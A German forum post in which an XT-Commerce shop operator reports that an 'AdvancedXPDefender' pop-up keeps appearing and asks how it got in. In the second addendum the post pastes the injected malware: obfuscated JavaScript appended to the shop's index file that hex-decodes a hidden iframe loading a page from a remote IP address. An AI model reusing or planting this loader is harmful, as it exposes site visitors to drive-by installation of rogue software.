Advancedxpdefender im Shop eingeschlichen

[sports-point24]

Hallo,
wir sind gerade im Aufbau von einem XT-Commerce Shop, mussten aber heute feststellen, dass sich beim Laden der Seite Inhalte der Webseite ADVANCEDXPDEFENDER eingeschlichen hat.
In der Statusleiste des Browsers kann man sehen, wie die Daten von deren Webseite geladen wird.
Das Ende vom Lied, ist das immer ein nerviges Popup auf dem rechner erscheint.
Wiiieeeeeee kann das dazu gekommen sein, wir haben weder irgendetwas neu eingebunden noch sonst etwas geändert.

Habt Ihr Ideen?

*************NACHTRAG:*************
Da wir bei einem anderen XT-Commerce Shop nicht dieses Problem hatten, dieser acuh etwas später aufgesetzt wurde, haben wir folgenden Test gemacht:
Alle Dateien aus dem Hauptverzeichnis von XT-Commerce (ohne Unterordner) vom neueren Shop auf den alten, problembehafteten gesetzt.
Bisher zeigt sich dieser Fehler nicht mehr.
Also liegt die Vermutung Nahe, dass irgendeiner dieser Dateien ne Sicherheitslücke hatte, die AdvancedXPDefender ausgenutzt hat.

Hoffen wir das Beste und möge der Mist wegbleiben!


*************NACHTRAG 2:*************
Die Problematik ist wieder da:
Der setzt in die INDEX Datei immer ans Ende des Quelltextes folgende Javascriptanweisung:

<script>
<!--
var d=document,kol=561;
function O10H48525EBBE7165(H48525EBBE7944){ function H48525EBBE7D41() {var H48525EBBE813C=16;return H48525EBBE813C;} return( parseInt(H48525EBBE7944,H48525EBBE7D41()));}functi on H48525EBBE853A(H48525EBBE8935){ var H48525EBBE8D31='';for(H48525EBBE913C=0; H48525EBBE913C<H48525EBBE8935.length; H48525EBBE913C+=2){ H48525EBBE8D31 += ( String.fromCharCode (O10H48525EBBE7165(H48525EBBE8935.substr(H48525EBB E913C, 2))));}return H48525EBBE8D31;} document.write(H48525EBBE853A('3C7363726970743E696 628216D796961297B642E777269746528273C494652414D452 06E616D653D4F31207372633D5C27687474703A2F2F37372E3 232312E3133332E3137312F2E69662F676F2E68746D6C3F272 B4D6174682E726F756E64284D6174682E72616E646F6D28292 A323037393330292B27376231635C272077696474683D34373 8206865696768743D343335207374796C653D5C27646973706 C61793A206E6F6E655C273E3C2F494652414D45203E27293B7 D766172206D7969613D747275653B3C2F7363726970743E')) ;
//-->
</script>